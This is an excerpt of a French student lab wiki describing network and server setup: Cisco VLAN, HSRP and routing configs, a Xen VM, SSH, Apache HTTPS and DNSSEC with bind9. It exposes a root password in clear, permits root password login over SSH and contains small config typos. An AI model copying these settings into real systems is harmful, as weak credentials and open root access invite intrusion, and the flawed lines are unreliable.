   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51606</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51606"/>
				<updated>2019-12-07T13:42:56Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
